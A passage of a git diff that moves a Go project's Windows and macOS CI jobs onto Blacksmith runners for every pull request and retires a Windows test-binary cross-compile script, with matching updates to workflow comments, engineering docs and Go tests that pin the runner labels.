mainVenueBlacksmithWindows4vcpuRunsOn - # in ci_workflow_test.go for the seeder side of this contract. + # push-to-main saver on the exact same Blacksmith label (Windows: + # main.yml's test-windows; macOS: main.yml's + # blacksmith-macos-go-build-cache) so the cold cmd/bd compile below + # (the real long pole, 250-300s uncached) gets a true cache hit instead + # of starting cold. GOCACHE must match the seeder's exactly, and + # CGO_ENABLED is left at its platform default (same as the seeder) so + # the key families line up; see mainBlacksmithWindows4vcpuRunsOn in + # ci_workflow_test.go for the seeder side of this contract. - name: Restore non-race Go build cache uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: @@ -1032,10 +800,8 @@ jobs: # steps keeps `if: ${{ !cancelled() }}` (plus a check that its own leg's # setup succeeded) so a failure in one leg does not stop the later legs # from attempting to run - the fail-fast: false behavior the matrix used to - # give for free. windows-make-shell is not a Windows job F4 touches (it - # does not intersect test-windows-liveness, worktree-remove-windows, the - # preflight/doc-freshness matrices, or the twins). - # F7b: same-repo Blacksmith (blacksmith-4vcpu-windows-2025). + # give for free. + # Blacksmith Windows (blacksmith-4vcpu-windows-2025) for every PR. # # RISK (unverified from this sandbox, flagged in the F7b report): the # native-Make step below assumes Chocolatey is preinstalled (`choco @@ -1046,12 +812,11 @@ jobs: # is not independently confirmed. The msys2/setup-msys2 and # cygwin/cygwin-install-action steps download their own tooling and do not # depend on any preinstalled image contents, so they carry no equivalent - # risk. The fork-PR path (windows-latest) remains an always-on canary; if - # only the same-repo leg's native-Make step fails here, that is the gap to - # roll back on (revert this runs-on line to the literal `windows-latest`). + # risk. If only the native-Make step fails here, that is the gap to roll + # back on (revert this runs-on line to the literal `windows-latest`). windows-make-shell: name: Windows Make shell (native, msys2, cygwin) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} timeout-minutes: 30 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1085,8 +850,7 @@ jobs: # disables that implicit save on Blacksmith (fail-closed: only the # literal "github-hosted" value keeps caching on, matching the # fail-closed convention F7c review fix N1 set for actions/setup-go's - # own `cache` input) while leaving the always-on fork-PR - # (windows-latest) leg's caching behavior unchanged. Pinned by + # own `cache` input). Pinned by # TestBlacksmithReachablePRJobsDisableDefaultCachingActions. - name: Set up MSYS2 GNU Make id: install-msys2 @@ -1611,8 +1375,6 @@ jobs: - fast-checks - test-windows-liveness - worktree-remove-windows - - test-windows-liveness-prebuilt - - worktree-remove-windows-prebuilt - check-doc-flags - check-doc-freshness-platforms - pr-preflight-platforms @@ -1634,6 +1396,8 @@ jobs: PR_PREFLIGHT_PLATFORMS PACKAGE_MCP PACKAGE_NPM + TEST_WINDOWS_LIVENESS + WORKTREE_REMOVE_WINDOWS WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -1660,12 +1424,6 @@ jobs: FAST_CHECKS: ${{ needs.fast-checks.result }} TEST_WINDOWS_LIVENESS: ${{ needs.test-windows-liveness.result }} WORKTREE_REMOVE_WINDOWS: ${{ needs.worktree-remove-windows.result }} - # F4 side-by-side rollout: always evaluated, like the native pair - # above; WINDOWS_PREBUILT_REQUIRED (top of this file) decides below - # which pair is in CI_GATE_REQUIRED and which is in - # CI_GATE_SKIPPED_OK. - TEST_WINDOWS_LIVENESS_PREBUILT: ${{ needs.test-windows-liveness-prebuilt.result }} - WORKTREE_REMOVE_WINDOWS_PREBUILT: ${{ needs.worktree-remove-windows-prebuilt.result }} CHECK_DOC_FLAGS: ${{ needs.check-doc-flags.result }} CHECK_DOC_FRESHNESS_PLATFORMS: ${{ needs.check-doc-freshness-platforms.result }} PR_PREFLIGHT_PLATFORMS: ${{ needs.pr-preflight-platforms.result }} @@ -1697,22 +1455,6 @@ jobs: BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} run: | skipped_ok="" - # F4 side-by-side rollout: WINDOWS_PREBUILT_REQUIRED (top of this - # file) flips which pair of Windows jobs ci-gate enforces with a - # single committed flag, instead of three edits per job - # (ci-gate.needs, CI_GATE_REQUIRED, and this step's env map) done - # twice. Both pairs are unconditionally in ci-gate.needs and always - # evaluated above (neither is in the static CI_GATE_REQUIRED list); - # only which pair is added to CI_GATE_REQUIRED (enforced) vs. - # skipped_ok (merely advisory -- a failure there cannot redden the - # gate) changes here. - if [[ "$WINDOWS_PREBUILT_REQUIRED" == "true" ]]; then - CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT" - skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS" - else - CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS" - skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT" - fi # The cmd/bd Dolt-server tier (bazel.yml's bazel-cmd-dolt) is # advisory until BAZEL_CMD_DOLT_REQUIRED (top of this file) is # "true"; it is never in the static list above. diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index f706e6d18..6d4f8f454 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1186,38 +1186,53 @@ What stays a job, and why: `go build`), and attributes drift against the merge-base. Releases publish no pure-Go Linux binary a Bazel repository could pin by sha256. - The macOS and Windows legs of `check-doc-freshness-platforms` (no remote - workers for those hosts), on Blacksmith for same-repo PRs and merge groups. + workers for those hosts), on Blacksmith for every PR and merge group. `check-doc-freshness.sh` compares review dates with today's date, which is not in the action key: a cached pass stands until one of its inputs changes, and nightly's `--config=fresh` run re-checks it against the date. -### Same-Repo Blacksmith macOS Legs +### Blacksmith Windows and macOS Jobs -pr.yml's two mixed-OS matrix jobs, `pr-preflight-platforms` and -`check-doc-freshness-platforms`, run their macOS leg on -`blacksmith-6vcpu-macos-26` (Apple Silicon) for same-repo PRs and -merge_group, through the same `runner: same-repo-macos` matrix marker and -same-repo expression their Linux/Windows legs use. Forks, Dependabot and -every other event keep GitHub-hosted `macos-latest`. They are the only PR +Every Windows and macOS job runs on Blacksmith for every PR and merge group, +forks and Dependabot included (ga-96smfk.22); everything Linux runs under +Bazel on rbe-west. pr.yml's Windows jobs (`test-windows-liveness`, +`test-windows-small`, `worktree-remove-windows`, `windows-make-shell`) name +their `blacksmith-*vcpu-windows-2025` label literally; the two mixed-OS +matrix jobs, `pr-preflight-platforms` and `check-doc-freshness-platforms`, +run a macOS leg on `blacksmith-6vcpu-macos-26` (Apple Silicon) and a Windows +leg on `blacksmith-4vcpu-windows-2025`, each leg naming its label in the +matrix (`runs-on: ${{ matrix.runner }}`). There is no GitHub-hosted fallback: +Blacksmith serves this org's fork PRs (gascity's fork PRs run their CI on +`blacksmith-*` labels). Fork runs get no secrets and a read-only token +(`TestBlacksmithJobsReadNoSecrets` keeps every Blacksmith job free of secret +reads), each job runs in a fresh VM, and the repository's fork-PR approval +setting stays the boundary for who may run code there (a fork's own workflow +file controls `runs-on` anyway). `release.yml` and `nightly.yml` are not PR +checks and keep their own runners. + +The Linux leg of `pr-preflight-platforms` and the Linux-cross-compiled +Windows test binaries (`windows-test-binaries`, its "-prebuilt" twins, +main.yml's `windows-test-binaries-cache` and the `WINDOWS_PREBUILT_REQUIRED` +flag) are retired: Bazel runs the Linux leg's tests, and the native Windows +pair (`test-windows-liveness`, `worktree-remove-windows`) is the required +run of the twins' tests. macOS jobs; `release.yml` stays on `macos-latest`. - **Label.** Pinned to `macos-26` because GitHub's `macos-latest` resolves to `macos-26-arm64` today, so both paths run the same OS and architecture and the PR legs and their saver never straddle a Blacksmith `-latest` alias - move. Bump it when GitHub moves `macos-latest`. 6 vCPU is already twice - `macos-latest`'s 3 vCPU; 12 vCPU is not justified for legs dominated by one - incremental `./cmd/bd` test compile. + move. Bump it when GitHub moves `macos-latest`. 12 vCPU is not justified + for legs dominated by one incremental `./cmd/bd` test compile. - **Caches.** The legs stay restore-only (`setup-go` `cache: false`, `actions/cache/restore`). Blacksmith cannot see GitHub-saved caches, so main.yml's `blacksmith-macos-go-build-cache` job is their seeder: same label, push-to-main-only job guard, module cache plus a non-race GOCACHE keyed by `go.sum` and UTC day, warmed by the shared - `scripts/ci/warm-non-race-cache.sh`. Its `github` venue leg seeds the - fork path (`macos-latest`) the same way; main.yml's `test` job (the macOS - full suite) runs on the same Blacksmith label and restores the Blacksmith - leg's caches. -- **Pins.** `TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics`, + `scripts/ci/warm-non-race-cache.sh`. main.yml's `test` job (the macOS + full suite) runs on the same label and restores its caches. main.yml's + `test-windows` seeds the Windows legs the same way. +- **Pins.** `TestBlacksmithWindowsMacOSRunsOnEveryEvent`, `TestBlacksmithMacOSSaverMatchesPRLegs`, `TestBlacksmithSaverJobsGuardedAgainstPullRequest`, `TestBlacksmithSaverCacheKeysAreNotPerCommit`, @@ -1408,21 +1423,17 @@ check read. Non-Bazel required jobs re-run in full on every merge group (approximate PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` (~2.5 min), `check-doc-flags` (~1.7 min), -`check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, -Windows and macOS legs, up to ~5 min on Windows), -`windows-make-shell` (~2.7 min), -`windows-test-binaries` plus the prebuilt Windows pair (~7 min end to -end), the advisory native Windows pair (~5 min; the gate waits for them), +`check-doc-freshness-platforms` and `pr-preflight-platforms` (Windows and +macOS legs, up to ~5 min on Windows), +`windows-make-shell` (~2.7 min), the native Windows pair +(`test-windows-liveness`, `worktree-remove-windows`, ~1-5 min), `test-nix` (~3 min) and the package gates (seconds unless their paths changed). None caches results the way Bazel does; most are cheap or -already path- or tier-gated. Candidates to skip on `merge_group`, not -done here: the advisory native Windows pair (`test-windows-liveness`, -`worktree-remove-windows`, advisory while `WINDOWS_PREBUILT_REQUIRED` is -`"true"`), and the macOS legs of the preflight/doc-freshness matrices +already path- or tier-gated. A candidate to skip on `merge_group`, not +done here: the macOS legs of the preflight/doc-freshness matrices (platform behavior the PR run already checked on the same inputs). With -result reuse the merge group's critical path is the Windows -cross-compile and the Windows matrix legs (~5-7 min), not the Bazel -lanes once their tests are cached. An entry's first build after a base +result reuse the merge group's critical path is the Windows legs +(~5 min), not the Bazel lanes once their tests are cached. An entry's first build after a base change still compiles what changed. ### Failures and flakes @@ -1516,7 +1527,10 @@ PRs off Blacksmith entirely and back onto `ubuntu-latest`: Blacksmith cache seeds and the `scripts-go-checks`/`pr-lint-wrapper`/ preflight/doc-freshness runner moves, including the preflight/ doc-freshness macOS legs and `blacksmith-macos-go-build-cache` - ([Same-Repo Blacksmith macOS Legs](#same-repo-blacksmith-macos-legs)). + ([Blacksmith Windows and macOS Jobs](#blacksmith-windows-and-macos-jobs)). +5. **ga-96smfk.22** — the Windows and macOS jobs' literal Blacksmith labels + ([Blacksmith Windows and macOS Jobs](#blacksmith-windows-and-macos-jobs)): + during an outage point them back at `windows-latest` / `macos-latest`. F7c (the advisory workflows) is excluded from this list: it is advisory only, so leaving it on Blacksmith during an outage delays non-required checks but diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 178df0e2e..c7ba45203 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -56,7 +56,6 @@ go_test( "required_suite_test.go", "test_script_test.go", "upgrade_smoke_loop_test.go", - "windows_test_binaries_manifest_test.go", ], data = [ "//:repo_files", diff --git a/scripts/ci/build-windows-test-binaries.sh b/scripts/ci/build-windows-test-binaries.sh deleted file mode 100755 index 28edf9174..000000000 --- a/scripts/ci/build-windows-test-binaries.sh +++ /dev/null @@ -1,96 +0,0 @@ -#!/usr/bin/env bash -# Cross-compile the Windows test/bd binaries listed in -# scripts/ci/windows-test-binaries.txt on a Linux runner, so the native -# Windows CI jobs that consume them (today: the "-prebuilt" advisory twins of -# test-windows-liveness and worktree-remove-windows) no longer pay for a CGO -# compile inside windows-latest itself. -# -# Usage: build-windows-test-binaries.sh OUT_DIR -# -# For every non-comment, non-blank line "name cgo tags package" in the -# manifest: -# - name ending in ".test.exe" -> `go test -c` (a standalone test binary) -# - anything else -> `go build` (a regular executable) -# -# cgo=1 entries cross-compile with the same mingw-w64 toolchain release.yml's -# goreleaser job uses for the shipped bd-windows-amd64 binary -# (CC=x86_64-w64-mingw32-gcc, CXX=x86_64-w64-mingw32-g++; see .goreleaser.yml). -# cgo=0 entries build with CGO_ENABLED=0 and need no C toolchain. -# -# Writes OUT_DIR/SHA256SUMS so the Windows consumer jobs can verify the -# artifact after download (`sha256sum -c`). -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" -MANIFEST="$REPO_ROOT/scripts/ci/windows-test-binaries.txt" - -if [[ $# -ne 1 ]]; then - echo "usage: $0 OUT_DIR" >&2 - exit 2 -fi -OUT_DIR="$1" -mkdir -p "$OUT_DIR" - -if [[ ! -f "$MANIFEST" ]]; then - echo "manifest not found: $MANIFEST" >&2 - exit 1 -fi - -echo "== host go toolchain ==" >&2 -go env GOVERSION GOHOSTOS GOHOSTARCH >&2 - -if command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1; then - echo "== mingw-w64 cross-compiler ==" >&2 - x86_64-w64-mingw32-gcc --version | head -n1 >&2 -fi - -built=0 -while IFS= read -r line; do - # Strip comments and blank lines. - line="${line%%#*}" - line="$(echo "$line" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//')" - [[ -z "$line" ]] && continue - - read -r name cgo tags package <<<"$line" - if [[ -z "$name" || -z "$cgo" || -z "$tags" || -z "$package" ]]; then - echo "malformed manifest line: $line" >&2 - exit 1 - fi - - out="$OUT_DIR/$name" - echo "== building $name (cgo=$cgo tags=$tags package=$package) ==" >&2 - - env_args=(GOOS=windows GOARCH=amd64 CGO_ENABLED="$cgo") - if [[ "$cgo" == "1" ]]; then - env_args+=(CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++) - fi - - # Print the resolved toolchain for this entry so the advisory-phase log - # confirms native-vs-cross CGO parity (F4.8 item 3), without failing the - # build if `go env` ever rejects one of the override vars up front. - env "${env_args[@]}" go env CGO_ENABLED CC >&2 || true - - start=$(date +%s) - if [[ "$name" == *.test.exe ]]; then - env "${env_args[@]}" go test -c -tags "$tags" -o "$out" "$package" - else - env "${env_args[@]}" go build -tags "$tags" -o "$out" "$package" - fi - elapsed=$(( $(date +%s) - start )) - size=$(stat -c%s "$out" 2>/dev/null || stat -f%z "$out") - echo "== built $name in ${elapsed}s (${size} bytes) ==" >&2 - - built=$((built + 1)) -done <"$MANIFEST" - -if [[ "$built" -eq 0 ]]; then - echo "manifest $MANIFEST produced zero binaries" >&2 - exit 1 -fi - -( - cd "$OUT_DIR" - sha256sum -- * >SHA256SUMS -) -echo "wrote $OUT_DIR/SHA256SUMS ($built binaries)" >&2 diff --git a/scripts/ci/run-go-test-binary.sh b/scripts/ci/run-go-test-binary.sh index be4f71d76..8020ffd44 100755 --- a/scripts/ci/run-go-test-binary.sh +++ b/scripts/ci/run-go-test-binary.sh @@ -1,6 +1,6 @@ #!/usr/bin/env bash # Run a standalone `go test -c` binary (typically cross-compiled on a -# different host, e.g. scripts/ci/build-windows-test-binaries.sh on Linux) +# different host) # so that it behaves like `go test` would have, from the caller's point of # view: same cwd convention, same flag names, same BEADS_TEST_REPO_ROOT # resolution. @@ -51,8 +51,8 @@ # short-circuit, beads_test_env_enter's unset has already run by the time # control reaches here, so the line below's `${BEADS_TEST_REPO_ROOT:-...}` # always falls through to GITHUB_WORKSPACE -- exactly the value a CI runner -# needs. When this script instead runs standalone (the "-prebuilt" jobs' -# direct `run-go-test-binary.sh ...` steps, with no test.sh and no +# needs. When this script instead runs standalone (a direct +# `run-go-test-binary.sh ...` call, with no test.sh and no # beads_test_env_enter in between), there is nothing to have unset it, and # the same GITHUB_WORKSPACE fallback applies for the same reason. set -euo pipefail diff --git a/scripts/ci/windows-test-binaries.txt b/scripts/ci/windows-test-binaries.txt deleted file mode 100644 index 502017ab0..000000000 --- a/scripts/ci/windows-test-binaries.txt +++ /dev/null @@ -1,28 +0,0 @@ -# Manifest for the Windows cross-compile job (scripts/ci/build-windows-test-binaries.sh). -# -# Each non-comment, non-blank line is: name cgo tags package -# name - output file name. A name ending in ".test.exe" is built with -# `go test -c` (a standalone test binary); anything else is built -# with `go build` (a regular executable, e.g. bd.exe). -# cgo - 0 or 1. Matches what the native Windows job this binary replaces -# used: explicit CGO_ENABLED=0 where the job set it, 1 where it -# relied on the windows-latest runner default (which is 1 - gcc is -# on PATH there). cgo=1 entries cross-compile with -# CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++, the same -# mingw toolchain release.yml's goreleaser job uses for the -# shipped bd-windows-amd64 binary (see .goreleaser.yml). -# tags - Go build tags, comma-separated, no spaces (e.g. gms_pure_go or -# integration,gms_pure_go). -# package - the Go package import path/pattern to build or test-compile. -# -# This is the advisory-phase manifest: it covers only the two cmd/bd-backed -# Windows jobs that currently have "-prebuilt" twins -# (test-windows-liveness-prebuilt, worktree-remove-windows-prebuilt) in -# pr.yml. The windows legs of pr-preflight-platforms and -# check-doc-freshness-platforms, and the small CGO=0 packages, are unscheduled -# follow-up work and are NOT yet listed here or consumed by any job. -# -# name cgo tags package -bd.exe 1 gms_pure_go ./cmd/bd -cmd-bd-cgo.test.exe 1 gms_pure_go ./cmd/bd -cmd-bd-nocgo.test.exe 0 gms_pure_go ./cmd/bd diff --git a/scripts/ci_blacksmith_runner_test.go b/scripts/ci_blacksmith_runner_test.go index 6937a524e..a6a1b3466 100644 --- a/scripts/ci_blacksmith_runner_test.go +++ b/scripts/ci_blacksmith_runner_test.go @@ -35,51 +35,44 @@ const sameRepoBlacksmith2vcpu = "${{ (github.event_name == 'merge_group' || (git // F7a: the same same-repo expression at 4 vCPU and 8 vCPU, for jobs sized // larger than the 2 vCPU default (check-doc-flags, -// pr-risk.yml's test-nix at 4 vCPU; windows-test-binaries at 8 vCPU). F7c's advisory workflows also use the 4 vCPU size. +// pr-risk.yml's test-nix at 4 vCPU). F7c's advisory workflows also use the 4 vCPU size. const sameRepoBlacksmith4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }}" const sameRepoBlacksmith8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }}" -// F7b: same-repo Blacksmith Windows (blacksmith-*vcpu-windows-2025, public -// beta) and macOS (blacksmith-*vcpu-macos-26) labels, same ternary shape -// as the Linux consts above - forks/Dependabot keep the current GitHub-hosted -// windows-latest/macos-latest label. windows-2025 is GitHub's windows-2025 -// image minus the full Visual Studio IDE, EdgeDriver and WinAppDriver; VS -// Build Tools 2022 is present (cgo via MSVC/clang-cl or an installed -// mingw-w64 toolchain), but there is no Linux Docker. Jobs moved onto these -// labels that rely on a specific Windows toolchain detail already document -// that dependency at the call site. -const sameRepoBlacksmithWindows2vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }}" -const sameRepoBlacksmithWindows4vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" -const sameRepoBlacksmithWindows8vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-windows-2025' || 'windows-latest' }}" -const sameRepoBlacksmithWindows16vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-16vcpu-windows-2025' || 'windows-latest' }}" +// Windows and macOS jobs run on Blacksmith for every event, forks and +// Dependabot included (ga-96smfk.22): rbe-west has no Windows or macOS +// workers, and Blacksmith serves fork PRs in this org (gascity's fork PRs +// run on blacksmith-* labels). So their runs-on is the literal label, +// wrapped in a trivial expression like main.yml's push-only Blacksmith jobs +// (a bare self-hosted label trips actionlint). windows-2025 is GitHub's +// windows-2025 image minus the full Visual Studio IDE, EdgeDriver and +// WinAppDriver; VS Build Tools 2022 is present, but there is no Linux +// Docker. Fork runs get no secrets and a read-only token, and each job runs +// in a fresh VM; the repository's fork-PR approval setting is the boundary +// for who may run code there (a fork's own workflow file controls runs-on +// anyway). TestBlacksmithJobsReadNoSecrets keeps every such job free of +// secret reads. +const blacksmithWindows2vcpuRunsOn = "${{ 'blacksmith-2vcpu-windows-2025' }}" +const blacksmithWindows4vcpuRunsOn = "${{ 'blacksmith-4vcpu-windows-2025' }}" -// Same-repo Blacksmith macOS (Apple Silicon M4, ARM64). Pinned to macos-26 -// rather than blacksmith-*-macos-latest because GitHub's macos-latest (the -// fork/Dependabot fallback) resolves to macos-26-arm64 today; pinning keeps -// both paths on the same OS/arch and keeps the PR legs and main.yml's -// blacksmith-macos-go-build-cache saver on one image regardless of when -// Blacksmith moves its own -latest alias. Bump these (and -// blacksmithMacOSLabel) when GitHub moves macos-latest. +// Blacksmith macOS (Apple Silicon M4, ARM64), pinned to macos-26 (the image +// GitHub's macos-latest resolves to) so the PR legs and main.yml's +// blacksmith-macos-go-build-cache saver share one image regardless of when +// Blacksmith moves its own -latest alias. const blacksmithMacOSLabel = "blacksmith-6vcpu-macos-26" -const sameRepoBlacksmithMacOS6vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest' }}" -const sameRepoBlacksmithMacOS12vcpu = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-12vcpu-macos-26' || 'macos-latest' }}" +const blacksmithWindowsLabel = "blacksmith-4vcpu-windows-2025" -// sameRepoPlatformsMatrixMarkerRunsOn is the "matrix marker" form (spec -// F7/F7b §2.1) used by mixed-OS matrix jobs (pr-preflight-platforms, -// check-doc-freshness-platforms): Actions does not expand `${{ }}` inside a -// matrix array/include value, so each OS leg's `include` entry instead sets a -// plain string marker field (`runner: same-repo-linux` etc.), and a single -// chained ternary in the job's `runs-on` tests which marker (if any) the -// current leg carries, falling back to `matrix.os` for legs with no marker or -// when the marker's own same-repo condition is false. -// -// The macOS branch resolves like the other two: blacksmith-6vcpu-macos-26 -// (sameRepoBlacksmithMacOS6vcpu's label) for a trusted same-repo PR or -// merge_group, GitHub-hosted macos-latest otherwise. F7b review fix S3 kept -// it a plain 'macos-latest' (cost, and no push-to-main Blacksmith-macOS -// saver); the cost is now accepted and main.yml's -// blacksmith-macos-go-build-cache is that saver. -const sameRepoPlatformsMatrixMarkerRunsOn = "${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }}" +// platformsMatrixRunsOn: the mixed-OS matrix jobs (pr-preflight-platforms, +// check-doc-freshness-platforms) name each leg's Blacksmith label in its +// `include` entry's `runner` field. +const platformsMatrixRunsOn = "${{ matrix.runner }}" + +// platformsMatrixRunners: each mixed-OS matrix leg's `os` (which keeps the +// check names stable) -> its Blacksmith label. +var platformsMatrixRunners = map[string]string{ + "macos-latest": blacksmithMacOSLabel, + "windows-latest": blacksmithWindowsLabel, +} // --- a minimal GitHub Actions expression evaluator ------------------------- // @@ -465,12 +458,6 @@ func TestSameRepoBlacksmithExpressionSemantics(t *testing.T) { {"blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest", sameRepoBlacksmith2vcpu}, {"blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest", sameRepoBlacksmith4vcpu}, {"blacksmith-8vcpu-ubuntu-2404", "ubuntu-latest", sameRepoBlacksmith8vcpu}, - {"blacksmith-2vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows2vcpu}, - {"blacksmith-4vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows4vcpu}, - {"blacksmith-8vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows8vcpu}, - {"blacksmith-16vcpu-windows-2025", "windows-latest", sameRepoBlacksmithWindows16vcpu}, - {"blacksmith-6vcpu-macos-26", "macos-latest", sameRepoBlacksmithMacOS6vcpu}, - {"blacksmith-12vcpu-macos-26", "macos-latest", sameRepoBlacksmithMacOS12vcpu}, } for _, c := range cases { ctx := map[string]string{ @@ -494,71 +481,11 @@ func TestSameRepoBlacksmithExpressionSemantics(t *testing.T) { } } -// TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics runs the real, -// pinned sameRepoPlatformsMatrixMarkerRunsOn chained-ternary expression -// (pr-preflight-platforms' and check-doc-freshness-platforms' runs-on, F7b -// §2.1) through evalGHExpr for every (marker, event) combination the policy -// cares about: the linux/windows `runner` markers resolve to that OS's -// Blacksmith label only on a trusted same-repo PR/merge_group, falling back -// to that OS's GitHub-hosted label otherwise (the macos marker included: -// blacksmith-6vcpu-macos-26 vs. macos-latest); and a leg with no marker at -// all (there is none today, but the fallback must still be safe) falls back -// to matrix.os. Every marker is additionally checked against its flat -// same-repo const for every event shape, so the chained ternary's per-OS -// arms cannot drift from the single-OS expressions. -func TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics(t *testing.T) { +// TestBlacksmithWindowsMacOSRunsOnEveryEvent: the Windows and macOS labels +// resolve to Blacksmith on every event shape, forks and Dependabot included; +// there is no GitHub-hosted fallback left to drift to. +func TestBlacksmithWindowsMacOSRunsOnEveryEvent(t *testing.T) { const ownRepo = "steveyegge/beads" - trustedCtx := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": ownRepo, - "github.repository": ownRepo, - "github.actor": "alice", - } - forkCtx := map[string]string{ - "github.event_name": "pull_request", - "github.event.pull_request.head.repo.full_name": "someone-else/beads", - "github.repository": ownRepo, - "github.actor": "alice", - } - cases := []struct { - name string - marker string // matrix.runner - os string // matrix.os - ctx map[string]string - wantRunsOn string - }{ - {"linux marker, trusted", "same-repo-linux", "ubuntu-latest", trustedCtx, "blacksmith-4vcpu-ubuntu-2404"}, - {"linux marker, fork", "same-repo-linux", "ubuntu-latest", forkCtx, "ubuntu-latest"}, - {"windows marker, trusted", "same-repo-windows", "windows-latest", trustedCtx, "blacksmith-4vcpu-windows-2025"}, - {"windows marker, fork", "same-repo-windows", "windows-latest", forkCtx, "windows-latest"}, - {"macos marker, trusted", "same-repo-macos", "macos-latest", trustedCtx, blacksmithMacOSLabel}, - {"macos marker, fork", "same-repo-macos", "macos-latest", forkCtx, "macos-latest"}, - {"no marker falls back to matrix.os", "", "some-other-os", trustedCtx, "some-other-os"}, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - ctx := map[string]string{} - for k, v := range c.ctx { - ctx[k] = v - } - ctx["matrix.runner"] = c.marker - ctx["matrix.os"] = c.os - got := mustEvalGHRunsOn(t, sameRepoPlatformsMatrixMarkerRunsOn, ctx) - if got != c.wantRunsOn { - t.Errorf("%s: runs-on = %q, want %q", c.name, got, c.wantRunsOn) - } - }) - } - - // Each marker arm must resolve exactly like its flat single-OS const for - // every event shape: same-repo PR and merge_group get Blacksmith; fork, - // deleted fork head, Dependabot, push and every other event keep the - // GitHub-hosted label. - markerConsts := []struct{ marker, os, flat string }{ - {"same-repo-linux", "ubuntu-latest", sameRepoBlacksmith4vcpu}, - {"same-repo-windows", "windows-latest", sameRepoBlacksmithWindows4vcpu}, - {"same-repo-macos", "macos-latest", sameRepoBlacksmithMacOS6vcpu}, - } events := []struct{ name, event, headRepo, actor string }{ {"same-repo PR", "pull_request", ownRepo, "alice"}, {"merge_group", "merge_group", "", ""}, @@ -568,23 +495,26 @@ func TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics(t *testing.T) { {"push", "push", "", "alice"}, {"schedule", "schedule", "", ""}, } - for _, m := range markerConsts { + for _, c := range []struct{ expr, want string }{ + {blacksmithWindows2vcpuRunsOn, 